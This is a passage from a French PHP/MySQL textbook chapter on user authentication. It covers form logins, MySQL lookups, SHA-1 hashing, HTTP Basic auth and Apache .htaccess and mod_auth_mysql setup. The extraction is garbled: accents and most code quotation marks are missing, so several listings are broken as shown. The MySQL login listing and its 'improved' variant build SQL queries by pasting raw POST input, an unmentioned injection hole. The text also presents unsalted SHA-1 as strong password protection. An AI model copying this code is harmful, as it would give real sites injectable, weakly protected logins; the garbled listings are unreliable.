le concernant : il est ainsi possible de savoir qui appartient une certaine adresse IP
et, avec un peu de chance et quelques suppositions, quel endroit cette personne se
trouve. Certaines adresses sont plus utiles que dautres. Gnralement, les personnes
disposant dune connexion permanente Internet possdent une adresse IP fixe,
mais les personnes qui doivent se connecter par modem leur fournisseur daccs

376

Partie III

Scurit

Internet se voient affecter temporairement lune des adresses IP de leur fournisseur.


La prochaine fois que vous verrez cette adresse, il est donc fort probable quelle appartienne un autre ordinateur. En ralit, les adresses IP ne sont pas aussi utiles quelles
y paraissent au premier abord pour identifier des utilisateurs.
Heureusement pour les utilisateurs du Web, aucune des informations fournies par leur
navigateur ne permet de les identifier. Si vous souhaitez connatre le nom (ou dautres
dtails personnels) dun utilisateur, vous devrez le lui demander.
Plusieurs sites web obligent ou, tout du moins, encouragent fortement leurs utilisateurs fournir ces informations. Ainsi, le site du New York Times (http://www.nytimes.com) propose gratuitement le contenu de son journal, mais uniquement aux
personnes qui acceptent dindiquer leur nom, leur sexe et leur revenu global. Le site
dinformation et de discussion pour informaticiens Slashdot (http://www.slashdot.org) permet aux utilisateurs inscrits de participer des discussions sous un
pseudonyme et de personnaliser linterface. La plupart des sites de commerce lectronique enregistrent des informations sur leurs clients lors de leur premier enregistrement, afin quils naient plus besoin de saisir nouveau toutes ces informations
lors de leurs visites ultrieures.
Aprs avoir demand et reu les informations concernant lun de vos visiteurs, vous
avez besoin dun moyen dassocier ces informations au mme utilisateur la prochaine
fois quil viendra sur votre site. Si vous partez de lhypothse quune seule personne
visite votre site avec un compte donn et que chaque visiteur ne se sert que dun seul
ordinateur, vous pouvez enregistrer un cookie sur lordinateur de cette personne pour
lidentifier. Ces suppositions ne sont certainement pas vraies pour tout le monde,
puisquil arrive souvent que plusieurs personnes partagent un mme ordinateur et
quune mme personne se serve de plusieurs ordinateurs. Il arrivera donc que vous ayez
besoin de demander vos utilisateurs de sidentifier nouveau. Vous devrez en plus
leur demander de prouver leur identit.
Le fait de demander un utilisateur de prouver son identit sappelle une authentification. La mthode dauthentification la plus courante sur le Web consiste demander aux
utilisateurs de fournir un nom dutilisateur et un mot de passe valides. Lauthentification permet galement dautoriser ou dinterdire laccs certaines pages ou certaines
ressources, mais elle peut tre facultative ou encore utilise dans dautres buts, comme
la personnalisation dun site.

Chapitre 15

Authentification avec PHP et MySQL

377

Implmenter un contrle daccs


Il est facile dimplmenter un contrle simple des accs. Lexcution du code prsent
dans le Listing 15.1 peut produire trois pages possibles. Si le fichier est charg sans
paramtre, il affiche un formulaire HTML demandant un nom dutilisateur et un mot de
passe. Ce formulaire est prsent la Figure 15.1.

Figure 15.1
Ce formulaire HTML demande aux visiteurs de saisir un nom dutilisateur et un mot de passe
pour accder au site.

Si des paramtres sont fournis, mais quils ne soient pas corrects, le programme affiche
un message derreur (voir Figure 15.2).

Figure 15.2
Lorsquun utilisateur saisit des informations errones, il faut afficher un message derreur.
Sur un site rel, vous pouvez choisir un message plus sympathique.

378

Partie III

Scurit

Si ces paramtres sont prsents et corrects, le programme affiche un contenu secret


(voir Figure 15.3).

Figure 15.3
Lorsque les visiteurs fournissent des informations correctes, le script affiche la page de contenu
confidentielle.

Listing 15.1 : secret.php Un mcanisme dauthentification avec PHP et HTML


<?php
// Cration de variables aux noms abrgs
$nom = $_POST[nom];
$mdp = $_POST[mdp];
if( (!isset($nom)) || (!isset($mdp)) ) {
// Le visiteur doit entrer un nom et un mot de passe
?>
<h1>Connectez-vous</h1>
<p>Cette page est secrte.</p>
<form method="post" action="secret.php">
<p>Nom: <input type="text" name="nom"></p>
<p>Mot de passe: <input type="password" name="mdp"></p>
<p><input type="submit" name="submit" value="Connexion"></p>
</form>
<?php
} else if(($nom == "utilisateur1") && ($mdp == "secret")) {
// La combinaison nom/mot de passe est correcte
echo "<h1>Bienvenue!</h1>
<p>Je pense que vous tes content de voir cette page
secrte. </p>";
} else {
// La combinaison nom/mot de passe est incorrecte
echo "<h1>Fichez le camp!</h1>
<p>Vous navez pas le droit de venir ici.</p>";
}
?>

Chapitre 15

Authentification avec PHP et MySQL

379

Le code du Listing 15.1 fournit un mcanisme dauthentification simple permettant


aux utilisateurs autoriss de voir le contenu dune page, mais il pose plusieurs
problmes.
En effet, ce script :
m

contient un nom dutilisateur et un mot de passe cods directement dans son code
source ;

enregistre le mot de passe en clair ;

ne protge quune seule page ;

transmet le mot de passe en clair.

Ces problmes peuvent tre rsolus de diffrentes manires.


Stockage des mots de passe
Il existe de bien meilleurs endroits quun script pour stocker les noms dutilisateur et les
mots de passe. Dans un script, les donnes sont difficiles modifier. Il est toujours
possible dcrire un script pour modifier soi-mme ses donnes, mais cela nest gnralement pas une bonne ide car cela signifie que vous possdez un script sur votre
serveur, excut sur votre serveur et accessible en criture pour tout le monde. Le
stockage de ces informations dans un autre fichier de votre serveur vous permet dcrire
plus facilement un programme ajoutant ou supprimant des utilisateurs et modifiant leur
mot de passe.
Avec un script ou tout autre fichier de donnes, le nombre dutilisateurs que vous
pouvez stocker sans affecter srieusement les performances du script est assez limit. Si
vous avez lintention denregistrer un grand nombre dlments dans un fichier pour
pouvoir les parcourir ultrieurement, il est prfrable dutiliser une base de donnes,
comme nous lavons dj vu. Dune manire gnrale, si vous possdez une liste de
plus de cent lments, il vaut mieux les placer dans une base de donnes que dans un
fichier plat.
Lutilisation dune base de donnes pour enregistrer les noms dutilisateurs et les mots
de passe ne complique pas beaucoup le script et vous permet dauthentifier trs rapidement plusieurs utilisateurs diffrents. Ce procd permet galement dcrire facilement
un script ajoutant de nouveaux utilisateurs ou en supprimant dautres, et qui donne aux
utilisateurs la possibilit de modifier leur mot de passe.
Le Listing 15.2 prsente un script permettant dauthentifier les visiteurs dune page
avec une base de donnes.

380

Partie III

Scurit

Listing 15.2 : secretdb.php Utilisation de MySQL pour amliorer notre systme


dauthentification
<?php
$nom = $_POST[nom];
$mdp = $_POST[mdp];
if ( (!isset($nom)) || (!isset($mdp)) ) {
// Les visiteurs doivent entrer un nom et un mot de passe
?>
<h1>Connectez-vous</h1>
<p>Cette page est secrte.</p>
<form method="post" action="secretdb.php">
<p>Nom: <input type="text" name="nom"></p>
<p>Mot de passe: <input type="password" name="mdp"></p>
<p><input type="submit" name="submit" value="Connexion"></p>
</form>
<?php
} else {
// Connexion MySQL
$mysql = mysqli_connect("localhost", "authweb", "authweb");
if(!$mysql) {
echo "Impossible de se connecter la base.";
exit;
}
// Choix de la base
$base = mysqli_select_db($mysql, "auth");
if(!$base) {
echo "Impossible de trouver la base.";
exit;
}
// Interroge la base pour trouver un enregistrement qui correspond.
$requete = "select count(*) from utilisateurs_ok where
nom = " . $nom . " and
mdp = " . $mdp . "";
$resultat = mysqli_query($mysql, $requete);
if(!$resultat) {
echo "Impossible dexcuter la requte.";
exit;
}
$ligne = mysqli_fetch_row($resultat);
$nbre = $ligne[0];
if ($nbre > 0) {
// La combinaison nom/mdp est correcte
echo "<h1>Bienvenue!</h1>
<p>Je pense que vous tes content de voir cette page
secrte. </p>";
} else {
// La combinaison nom/mot de passe est incorrecte

Chapitre 15

Authentification avec PHP et MySQL

381

echo "<h1>Fichez le camp!</h1>


<p>Vous navez pas le droit de venir ici.</p>";
}
}
?>

La base de donnes que nous utilisons peut tre cre en ouvrant une session MySQL
sous le compte de lutilisateur root et en excutant le contenu du Listing 15.3.
Listing 15.3 : creeauthdb.sql Requtes MySQL pour crer la base de donnes auth,
la table utilisateurs_ok et deux utilisateurs
create database auth;
use auth;
create table utilisateurs_ok ( nom varchar(20),
mdp varchar(40),
primary key(nom)
);
insert into utilisateurs_ok values ( utilisateur1,
secret );
insert into utilisateurs_ok values ( utilisateur2,
sha1(secret) );
grant select on auth.*
to authweb
identified by authweb;
flush privileges;

Chiffrement des mots de passe


Que nous enregistrions nos donnes dans une base de donnes ou dans un fichier, il vaut
mieux viter de stocker les mots de passe en clair. Un algorithme de hachage non rversible permet damliorer la scurit dune manire trs simple.
PHP propose un certain nombre de fonctions de hachage non rversibles. La plus ancienne
et la moins scurise est lalgorithme Unix Crypt, fourni par la fonction crypt(). Lalgorithme MD5 (Message Digest), implment dans la fonction md5(), est plus fort.
SHA-1 (Secure Hash Algorithm) est encore plus sr. La fonction PHP sha1() est une
fonction de hachage cryptographique non rversible forte. Son prototype est le suivant :
string sha1 (string chaine [, bool sortie_brute])

partir de la chane chaine, cette fonction renvoie une chane pseudo-alatoire de


quarante caractres. Si sortie brute vaut true, elle renvoie une chane de vingt caractres de donnes binaires. Par exemple, partir de la chane "secret", sha1() renvoie
"e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4". Cette chane ne pouvant pas tre
dchiffre et retransforme en "secret", mme par son crateur, son intrt peut ne pas

382

Partie III

Scurit

sembler vident. La caractristique la plus intressante de sha1() est que sa sortie est
dterministe, cest--dire que, pour une chane et une cl de chiffrement donnes,
sha1() renverra toujours le mme rsultat.
la place de ce code PHP :
if (($nom == utilisateur1) &&
($mdp == secret)) {
// OK la combinaison est correcte
}

mieux vaut choisir celui-ci :


if (($name == utilisateur1) &&
(sha1($mdp )== e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4)) {
// OK la combinaison est correcte
}

Nous navons pas besoin de connatre le mot de passe qui a t transform avec
sha1() : il suffit de comparer les deux mots de passe chiffrs.
Comme nous lavons dj vu, au lieu de coder directement dans un script les noms des
utilisateurs et les mots de passe associs, il est prfrable de stocker ceux-ci dans un
fichier spar ou dans une base de donnes.
Si nous utilisons une base de donnes MySQL pour enregistrer nos donnes dauthentification, nous pouvons nous servir de la fonction PHP sha1() ou de la fonction MySQL
SHA1(). MySQL fournit une gamme encore plus tendue dalgorithmes de hachage que
PHP, mais ils ont tous le mme but.
Pour utiliser SHA1(), nous pouvons rcrire la requte SQL du Listing 15.2 comme
ceci :
$requete = "select count(*) from utilisateurs_ok where
nom = " . $nom . " and
mdp = sha1(" . $mdp . ")";

Cette requte compte le nombre de lignes de la table utilisateurs ok dont la valeur


de la colonne nom correspond au contenu de $nom et dont la valeur de la colonne mdp est
identique au rsultat de SHA1() applique au contenu de $mdp. En supposant que nous
obligeons nos utilisateurs choisir des noms dutilisateur uniques, le rsultat de cette
requte est soit 0, soit 1.
Gardez lesprit que les fonctions de hachage renvoient gnralement des donnes de
taille fixe. Dans le cas de SHA1, il sagit de quarante caractres avec une reprsentation
sous forme de chane ; par consquent, assurez-vous que la colonne de votre table fait
cette taille.

Chapitre 15

Authentification avec PHP et MySQL

383

Si vous rexaminez le Listing 15.3, vous constaterez que nous avons cr un utilisateur
avec un mot de passe non chiffr (utilisateur1) et un autre utilisateur avec un mot
de passe chiffr (utilisateur2) afin dillustrer les deux approches.
Protger plusieurs pages
La cration dun script de ce genre pour protger plusieurs pages est un peu plus
complexe. Comme le protocole HTTP est un protocole sans tat, il nexiste aucun lien
automatique ni aucune association entre les diffrentes requtes provenant dune mme
personne. Il est donc assez difficile de conserver des informations dauthentification
entre diffrentes pages.
Le moyen le plus simple de protger plusieurs pages consiste utiliser les mcanismes de
contrle daccs fournis par votre serveur web. Nous allons les passer rapidement en revue.
Pour crer nous-mmes cette fonctionnalit, il faut inclure certaines parties du script
prsent dans le Listing 15.1 dans chaque page que vous souhaitez protger. En utilisant auto prepend file et auto append file, nous pouvons complter automatiquement le code ncessaire pour chaque fichier, dans chaque rpertoire. Lutilisation de ces
directives a t prsente au Chapitre 5.
Si nous choisissons cette approche, que se passera-t-il lorsque nos visiteurs parcoureront plusieurs pages de notre site ? Il est inenvisageable de leur demander de saisir
nouveau leur nom et leur mot de passe pour chaque page afficher.
Nous pourrions ajouter les informations quils ont saisies dans chaque lien hypertexte
de la page. Comme les noms dutilisateurs peuvent contenir des espaces ou dautres
caractres interdits dans les URL, nous devons nous servir de la fonction urlencode()
pour coder correctement ces caractres.
Cependant, cette approche cre galement quelques problmes. En effet, comme les
donnes dauthentification sont incluses dans les pages web envoyes lutilisateur,
elles seront visibles dans lhistorique du navigateur. En outre, ces donnes tant changes entre le navigateur et le serveur pour chaque page demande, elles sont transmises
beaucoup plus souvent quil nest ncessaire.
Il existe deux mthodes intressantes pour rsoudre ces problmes : les sessions et
lauthentification de base du protocole HTTP. Lauthentification de base permet de
rsoudre le problme de lhistorique, mais le navigateur envoie toujours le mot de passe
au serveur lors de chaque requte. Le mcanisme de contrle par le biais des sessions
permet de rsoudre ces deux problmes. Nous allons maintenant nous intresser au
mcanisme dauthentification de base du protocole HTTP, puis nous reviendrons sur le
contrle de session au Chapitre 21 puis plus en dtail au Chapitre 25, "Authentification
des utilisateurs et personnalisation".

384

Partie III

Scurit

Authentification de base
Heureusement, lauthentification des utilisateurs tant une tche trs courante, le protocole HTTP intgre cette fonction. Les scripts et les serveurs web peuvent demander une
authentification un navigateur web qui se charge alors dafficher une bote de dialogue
ou une fentre pour demander lutilisateur les informations ncessaires.
Bien que le serveur web redemande les dtails dauthentification pour chaque requte
dutilisateur, le navigateur web na pas besoin de demander ces informations lutilisateur pour chaque page car il mmorise gnralement ces informations tant quune fentre de navigation reste ouverte et les renvoie automatiquement au serveur web sans les
redemander lutilisateur.
Cette caractristique du protocole HTTP est appele authentification de base. Vous
pouvez lactiver avec PHP ou en utilisant les mcanismes intgrs dans votre serveur
web. Nous allons dabord prsenter sa mise en uvre avec PHP, puis avec Apache.
Lauthentification de base nest pas trs sre puisquelle transmet le nom de lutilisateur
et son mot de passe en clair. Le protocole HTTP 1.1 dfinit une mthode plus scurise,
appele authentification digest, qui se sert dun algorithme de hachage (gnralement
MD5) pour cacher les dtails de cette transaction. Lauthentification digest est prise en
charge par de nombreux serveurs web et par la plupart des navigateurs actuels. Cependant, il existe un grand nombre danciens navigateurs toujours en usage qui ne prennent
pas en charge lauthentification digest et en proposent une version dans certaines
versions dInternet Explorer et dInternet Information Server qui est incompatible avec
les produits non Microsoft.
Outre quelle nest pas disponible pour un nombre significatif de navigateurs web,
lauthentification digest nest pas non plus trs scurise. On considre gnralement
que lauthentification de base, comme lauthentification digest, fournit un faible niveau
de scurit. Aucune dentre elles ne donne lutilisateur lassurance quil communique
bien avec lordinateur auquel il avait lintention daccder, ce qui permet donc un
pirate dintercepter la requte avant de la renvoyer au vrai serveur. Lauthentification de
base transmettant le mot de passe de lutilisateur en clair, elle permet nimporte quel
pirate capable de capturer les paquets de se faire passer pour nimporte quel utilisateur.
Lauthentification de base fournit donc un niveau de scurit assez faible, comparable
celui qui est utilis traditionnellement pour se connecter des ordinateurs via telnet ou
FTP, puisque ces deux protocoles transmettent galement les mots de passe en clair.
Lauthentification digest est un peu plus scurise, puisquelle chiffre les mots de passe
avant de les transmettre.
Lorsque vous combinez lauthentification de base avec SSL et les certificats numriques, toutes les parties dune transaction web peuvent tre protges dune manire

Chapitre 15

Authentification avec PHP et MySQL

385

fiable. Si vous avez besoin dune scurit forte, consultez le Chapitre 16. Cependant,
dans la plupart des cas, une mthode relativement rapide et peu scurise (comme
lauthentification de base) est suffisante.
Lauthentification de base permet de protger un espace nomm en demandant aux
utilisateurs de fournir un nom dutilisateur et un mot de passe valides. Ces espaces
scuriss possdent chacun un nom pour quil puisse en exister plusieurs sur un mme
serveur. Diffrents fichiers ou rpertoires dun mme serveur peuvent appartenir
diffrents espaces scuriss, chacun tant protg par un nom dutilisateur et un mot de
passe diffrents. Les espaces scuriss permettent galement de regrouper plusieurs
rpertoires sur le mme hte pour les protger avec un seul mot de passe.

Utiliser lauthentification de base avec PHP


Les scripts PHP sont en gnral compatibles entre les diffrentes plates-formes, mais lutilisation de lauthentification de base utilise des variables denvironnement dfinies par le
serveur. Pour quun script PHP puisse mettre en uvre lauthentification HTTP sur Apache
(avec PHP excut sous la forme dun module Apache) ou sur IIS (avec PHP excut sous
la forme dun module ISAPI), il doit donc dtecter le type du serveur et se comporter en
consquence. Le script du Listing 15.4 peut tre excut sur ces deux serveurs.
Listing 15.4 : http.php Mise en uvre de lauthentification de base HTTP avec PHP
<?php
// Si on utilise IIS, on doit initialiser
// $_SERVER[PHP_AUTH_USER] et
// $_SERVER[PHP_AUTH_PW]
if ((substr($_SERVER[SERVER_SOFTWARE], 0, 9) == Microsoft) &&
(!isset($_SERVER[PHP_AUTH_USER])) &&
(!isset($_SERVER[PHP_AUTH_PW])) &&
(substr($_SERVER[HTTP_AUTHORIZATION], 0, 6) == Basic )
) {
list($_SERVER[PHP_AUTH_USER], $_SERVER[PHP_AUTH_PW]) =
explode(:, base64_decode(substr($_SERVER[HTTP_AUTHORIZATION], 6)));
}
// Remplacez cette instruction if avec une requte SQL ou quivalent
if (($_SERVER[PHP_AUTH_USER]!= utilisateur) ||
($_SERVER[PHP_AUTH_PW]!= secret)) {
// Le visiteur na pas donn de dtails ou la combinaison de son nom
// et son mot de passe est incorrecte.
header(WWW-Authenticate: Basic realm="Nom-Espace");
if (substr($_SERVER[SERVER_SOFTWARE], 0, 9) == Microsoft) {

386

Partie III

Scurit

header(Status: 401 Unauthorized);


} else {
header(HTTP/1.0 401 Unauthorized);
}
echo "<h1>Fichez le camp!</h1>
<p>Vous navez pas le droit de venir ici.</p>";
} else {
// Le visiteur a rempli tous les critres.
echo "<h1>Bienvenue!</h1>
<p>Je pense que vous tes content de voir cette page
secrte. </p>";
}
?>

Le code du Listing 15.4 fonctionne comme celui des prcdents listings de ce chapitre. Si
lutilisateur na pas encore fourni dinformations dauthentification, elles lui seront demandes ; sil fournit des informations errones, il obtient un message derreur ; sil saisit un
nom dutilisateur et un mot de passe valides, il peut accder au contenu de la page.
Lutilisateur verra cependant une interface lgrement diffrente de celle des autres
listings. Nous ne fournissons aucun formulaire HTML pour les informations de
connexion, mais le navigateur de lutilisateur affiche une bote de dialogue. Certaines
personnes considrent quil sagit dune amlioration, alors que dautres prfrent
contrler intgralement les aspects visuels de linterface. La bote de dialogue de
connexion, telle quelle est affiche par Firefox, est prsente la Figure 15.4.

Figure 15.4
Lapparence de la bote de dialogue de lauthentification HTTP dpend du navigateur
de lutilisateur.

Chapitre 15

Authentification avec PHP et MySQL

387

Comme le mcanisme dauthentification est assist par des caractristiques intgres


dans le navigateur, celui-ci peut grer sa faon les checs dauthentification. Internet
Explorer, par exemple, permet aux utilisateurs deffectuer trois tentatives dauthentification avant dafficher une page derreur. Firefox permet aux utilisateurs deffectuer
autant de tentatives quils le veulent, en affichant une bote de dialogue de confirmation
aprs un chec. Firefox naffiche la page derreur que si lutilisateur clique sur le
bouton Annuler de cette bote de dialogue.
Comme pour le code des Listings 15.1 et 15.2, nous pouvons inclure ce code dans les
pages que nous souhaitons protger ou lajouter automatiquement tous les fichiers
dun rpertoire.

Utiliser lauthentification de base avec les fichiers .htaccess


dApache
Nous pouvons obtenir des rsultats analogues ceux du script prcdent sans crire de
code PHP.
Le serveur web Apache contient plusieurs modules dauthentification diffrents qui
peuvent tre utiliss pour vrifier la validit des informations saisies par un utilisateur.
Le plus simple est dutiliser mod auth qui compare une paire nom dutilisateur/mot de
passe aux lignes dun fichier texte qui se trouve sur le serveur.
Pour obtenir le mme rsultat que celui du script prcdent, nous devons crer deux
fichiers HTML diffrents, un pour le contenu afficher et un autre pour la page derreur.
Nous avons omis quelques lments HTML dans les exemples prcdents, mais il convient
dinclure les balises <html> et <body> lorsque nous gnrons le code HTML.
Le Listing 15.5 contient la page protge que les utilisateurs autoriss ont le droit
dafficher. Nous avons appel ce fichier contenu.html. Le Listing 15.6 contient la page
derreur, que nous avons appele rejet.html. Cette page derreur est facultative, mais il
sagit dune petite amlioration que vous pouvez utiliser pour fournir certaines informations vos utilisateurs. Cette page tant affiche lorsquun utilisateur ne sest pas
authentifi correctement, il peut tre intressant de lui expliquer comment senregistrer
pour obtenir un mot de passe ou comment se faire envoyer son mot de passe par e-mail
sil la oubli.
Listing 15.5 : contenu.html Exemple de page protge
<html><body>
<h1>Bienvenue!</h1>
<p>Je pense que vous tes content de voir cette page
secrte. </p>
</body></html>

388

Partie III

Scurit

Listing 15.6 : rejet.html Exemple de page derreur


<html><body>
<h1>Fichez le camp!</h1>
<p>Vous navez pas le droit de venir ici.</p>
</body></html>

Il ny a rien de neuf dans ces fichiers. En revanche, le Listing 15.7 prsente le contenu
du fichier .htaccess, qui permet de contrler laccs aux fichiers et aux sous-rpertoires
du rpertoire o il se trouve.
Listing 15.7 : htaccess Un fichier .htaccess peut dfinir plusieurs paramtres
de configuration dApache et notamment activer lauthentification
ErrorDocument 401 /chapitre15/rejet.html
AuthUserFile /home/livre/.htpass
AuthGroupFile /dev/null
AuthName "Nom-Espace"
AuthType Basic
require valid-user

Le Listing 15.7 est un fichier .htaccess permettant dactiver lauthentification de base


dans un rpertoire. Ce fichier peut dfinir de nombreux paramtres, mais les six lignes
de notre exemple sont toutes en rapport avec lauthentification.
La premire ligne :
ErrorDocument 401 /chapitre15/rejet.html

indique Apache le document afficher pour les visiteurs qui nont pas russi
sauthentifier. Vous pouvez utiliser dautres directives ErrorDocument pour proposer
vos propres pages derreur la place des erreurs HTTP standard. La syntaxe de cette
directive est la suivante :
ErrorDocument numro_erreur URL

Pour une page qui produit lerreur 401, il est important que son URL soit disponible
pour tout le monde. En effet, il nest pas trs intressant de fournir une page derreur
personnalise indiquant aux utilisateurs que leur authentification a chou si cette page
se trouve dans un rpertoire dont laccs suppose la russite de lauthentification.
La ligne :
AuthUserFile /home/livre/.htpass

indique Apache lendroit o il peut trouver le fichier contenant les mots de passe des
utilisateurs autoriss. Ce fichier sappelle souvent .htpass, mais vous pouvez lui donner
nimporte quel nom car il na aucune importance, contrairement son emplacement. En
effet, il ne doit pas se trouver dans larborescence des documents ni dans un rpertoire

Chapitre 15

Authentification avec PHP et MySQL

389

accessible via le serveur web. Notre fichier dexemple .htpass est prsent dans le
Listing 15.8.
Il est galement possible dindiquer que seuls les utilisateurs autoriss qui appartiennent certains groupes peuvent accder aux ressources. Comme ce mcanisme ne nous
intresse pas, nous avons ajout la ligne :
AuthGroupFile /dev/null

pour que notre AuthGroupFile pointe vers /dev/null, un fichier spcial des systmes
Unix qui ne contient rien du tout.
Comme dans lexemple prcdent, pour se servir de lauthentification HTTP, il faut
fournir un nom lespace scuriser, comme ceci :
AuthName "Nom-Espace"

Vous pouvez choisir nimporte quel nom pour lespace scuriser, mais noubliez pas
que ce nom apparatra vos visiteurs. Pour bien indiquer quil faudrait modifier cette
valeur, nous avons choisi le nom "Nom Espace".
Comme il existe plusieurs mthodes dauthentification diffrentes, nous devons indiquer
celle que nous utilisons.
Nous nous servons de lauthentification de base, savoir lauthentification Basic,
comme lindique la directive suivante :
AuthType Basic

Nous devons galement prciser qui a le droit daccder aux pages. Nous pouvons dsigner des utilisateurs particuliers, des groupes ou, comme nous lavons fait, permettre
tous les utilisateurs authentifis daccder ces pages.
La ligne suivante :
require valid-user

indique que nimporte quel utilisateur autoris a le droit daccder aux pages.
Listing 15.8 : .htpass Le fichier des mots de passe contient le nom dutilisateur
et le mot de passe chiffr de chaque utilisateur
utilisateur1:0nRp9M80GS7zM
utilisateur2:nC13sOTOhp.ow
utilisateur3:yjQMCPWjXFTzU
utilisateur4:LOmlMEi/hAme2

Chaque ligne du fichier .htpass contient un nom dutilisateur, un signe deux-points et le


mot de passe chiffr de cet utilisateur.

390

Partie III

Scurit

Le contenu exact de votre fichier .htpass sera diffrent. Pour le crer, vous pouvez vous
servir dun petit programme appel htpasswd, fourni avec la distribution dApache et
dont la syntaxe est la suivante :
htpasswd [-cmdps] fichier_des_mots_de_passe nom_utilisateur

ou :
htpasswd -b[cmdps] fichier_des_mots_de_passe nom_utilisateur mot_de_passe

La seule option que vous devrez utiliser est c car cest elle qui demande htpasswd de
crer le fichier. Vous ne devrez videmment nutiliser cette option que pour le premier
utilisateur que vous ajoutez. Faites attention de ne pas lutiliser pour les autres utilisateurs
car, si le fichier existe dj, htpasswd le supprime et en cre un nouveau.
Les options m, d, p et s peuvent tre utilises si vous souhaitez prciser lalgorithme de
cryptage utiliser (ou aucun chiffrement).
Loption b demande au programme de prendre le mot de passe en paramtre au lieu de
le demander. Cette approche est intressante si vous souhaitez appeler htpasswd de
manire non interactive, dans un processus de traitement par lots, mais elle ne doit pas
tre utilise si vous appelez htpasswd partir de la ligne de commande.
Le fichier .htpass du Listing 15.8 a t cr laide des commandes suivantes :
htpasswd
htpasswd
htpasswd
htpasswd

-bc /home/livre/.htpass utilisateur1 pass1


-b /home/livre/.htpass utilisateur2 pass2
-b /home/livre/.htpass utilisateur3 pass3
-b /home/livre/.htpass utilisateur4 pass4

Notez que htpasswd peut ne pas se trouver dans votre chemin : en ce cas, indiquez le
chemin qui y mne. Sur de nombreux systmes, vous le trouverez dans le rpertoire
/usr/local/apache/bin.
Cette mthode dauthentification est simple mettre en uvre, mais cette utilisation
dun fichier .htaccess peut poser quelques problmes.
Les noms dutilisateurs et les mots de passe sont enregistrs dans un fichier texte.
Chaque fois quun navigateur demande un fichier qui est protg par le fichier .htaccess, le serveur doit analyser le fichier .htaccess, puis analyser le fichier de mots de
passe et tenter de trouver un nom dutilisateur et un mot de passe qui correspondent. Au
lieu dutiliser un fichier .htaccess, nous pouvons prciser les mmes lments dans le
fichier httpd.conf, le fichier de configuration principal du serveur web. En effet, alors
quun fichier .htaccess est analys chaque requte de fichier, le fichier httpd.conf nest
analys quune seule fois, au dmarrage du serveur. Cette approche est donc plus
rapide, mais elle signifie quil faudra arrter et redmarrer le serveur chaque fois que
vous souhaitez apporter des modifications.

Chapitre 15

Authentification avec PHP et MySQL

391

Quel que soit lendroit o nous enregistrons les directives du serveur, le fichier de mot
de passe devra de toute faon tre analys pour chaque requte. Cela signifie que,
comme pour les autres techniques qui se servent dun fichier plat, cette approche ne
convient pas pour authentifier des centaines dutilisateurs, voire des milliers.

Utiliser lauthentification mod_auth_mysql


Comme nous lavons dj vu, mod auth est la fois simple configurer et efficace.
Cependant, cette mthode enregistre les utilisateurs dans un fichier texte et nest donc
pas tout fait adapte aux sites importants possdant un grand nombre dutilisateurs.
Heureusement, nous pouvons bnficier de la simplicit de mod auth et de la vitesse
des bases de donnes en utilisant mod auth mysql. Ce module fonctionne de la mme
manire que mod auth mais, comme il se sert dune base de donnes MySQL la place
dun fichier texte, il peut parcourir beaucoup plus rapidement de grandes listes dutilisateurs.
Pour pouvoir lutiliser, vous devez compiler et installer le module correspondant sur
votre systme ou demander votre administrateur systme de linstaller.
Installation de mod_auth_mysql
Pour pouvoir utiliser mod auth mysql, vous devez configurer Apache et MySQL en
suivant les instructions de lAnnexe A et en y ajoutant quelques tapes supplmentaires. Vous trouverez galement de bonnes instructions dans les fichiers README et
USAGE qui font partie de la distribution mais, diffrents endroits, ces fichiers font
rfrence au comportement des prcdentes versions. En voici un rsum :
1. Rcuprez larchive de la distribution correspondant ce module. Vous pouvez l'obtenir sur le site http://sourceforge.net/projects/modauthmysql.
2. Dcompressez et dsarchivez le code source.
3. Placez-vous dans le rpertoire mod_auth_mysql, excutez les commandes make puis
make install. Il se peut que vous deviez modifier les emplacements dinstallation
pour MySQL dans le fichier make (MakeFile).
4. Ajoutez cette ligne httpd.conf pour charger dynamiquement le module dans
Apache :
LoadModule mysql_auth_module libexec/mod_auth_mysql.so

5. Crez une base de donnes et une table MySQL destines contenir les informations dauthentification. Vous navez pas besoin de crer une base de donnes ou

392

Partie III

Scurit

une table particulires. Vous pouvez rcuprer une table existante, comme celle de
la base de donnes auth de lexemple prcdent.
6. Ajoutez une ligne dans votre fichier httpd.conf pour fournir mod auth mysql les
paramtres dont il a besoin pour se connecter MySQL. La directive correspondante ressemble ceci :
Auth_MySQL_Info hostname utilisateur mot_de_passe

Le moyen le plus simple pour vrifier si votre compilation a fonctionn correctement


consiste essayer de lancer Apache :
/usr/local/apache/bin/apachectl start

Si Apache dmarre avec la directive Auth MySQL Info dans son fichier httpd.conf, cest
que lajout de mod auth mysql a fonctionn.
Utilisation de mod_auth_mysql
Aprs avoir install ce module, son utilisation nest pas plus complexe que celle de
mod auth. Le Listing 15.9 prsente un exemple de fichier .htaccess permettant
dauthentifier les utilisateurs avec des mots de passe chiffrs, stocks dans la base de
donnes cre prcdemment dans ce chapitre.
Listing 15.9 : .htaccess Ce fichier permet dauthentifier les utilisateurs avec une base
de donnes MySQL
ErrorDocument 401 /chapitre15/rejet.html
AuthName "Nom-Espace"
AuthType Basic
Auth_MySQL_DB auth
Auth_MySQL_Encryption_Types MySQL
Auth_MySQL_Password_Table utilisateurs_ok
Auth_MySQL_Username_Field nom
Auth_MySQL_Password_Field mdp
require valid-user

Vous pouvez constater que lessentiel du Listing 15.9 est identique au Listing 15.7. Il
faut toujours indiquer un document derreur afficher lorsque lerreur 401 se produit
(cest--dire lorsque lauthentification choue). Il faut galement prciser lauthentification de base et fournir un nom pour lespace scuriser. Comme dans le Listing 15.7,
nous autorisons tous les utilisateurs correctement authentifis.
Comme nous nous servons de mod auth mysql et que nous ne souhaitons pas utiliser
tous les paramtres par dfaut, nous devons fournir plusieurs directives pour prciser le
fonctionnement de ce module. Auth MySQL DB, Auth MySQL Password Table,

Chapitre 15

Authentification avec PHP et MySQL

393

Auth MySQL Username Field et Auth MySQL Password Field permettent, respectivement, dindiquer le nom de la base de donnes, celui de la table, le champ correspondant
au nom dutilisateur et le champ contenant le mot de passe.

Nous avons inclus la directive Auth MySQL Encryption Types pour prciser que nous
souhaitons utiliser le chiffrement des mots de passe de MySQL. Les diffrentes valeurs
possibles sont Plaintext, Crypt DES ou MySQL. La valeur par dfaut est Crypt DES et elle
correspond au chiffrement standard des mots de passe sous Unix, avec lalgorithme DES.
Du point de vue de lutilisateur, cet exemple de mod auth mysql fonctionne exactement
de la mme manire que celui de mod auth. Lutilisateur obtient une bote de dialogue
fournie par son navigateur web. Sil russit sauthentifier, il peut visualiser le contenu
de la page, sinon il obtient une page derreur.
